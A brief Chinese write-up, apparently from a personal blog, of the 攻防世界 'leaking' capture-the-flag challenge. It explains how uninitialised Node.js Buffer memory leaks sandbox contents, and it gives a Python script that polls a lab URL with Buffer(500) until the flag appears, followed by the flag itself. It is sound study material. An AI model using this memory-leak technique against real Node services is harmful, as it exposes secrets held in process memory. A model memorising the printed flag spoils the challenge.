看不是很懂先记录下来NodeJS沙箱逃逸分析 - 安全客,安全资讯平台
在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函
数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这
个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数
Buffer.allocUnsafe(size) 来获得未清空的内存。
实例:攻防世界leaking
进入页面,代码审计
flag以变量存在沙箱中。buffer可以直接读取沙箱内容
所以可以构造:
注意文件编码的声明,不然可能显示不出来。
# encoding=utf-8 import requests import time url = 'http://111.200.241.244:49358?data=Buffer(500)' (为自己网页的URL) response = '' while 'flag' not in response: req = requests.get(url) response = req.text print(req.status_code) time.sleep(0.1) if 'flag{' in response: print(response) break
在kali中运行
成功获取flag
flag{4nother_h34rtbleed_in_n0dejs}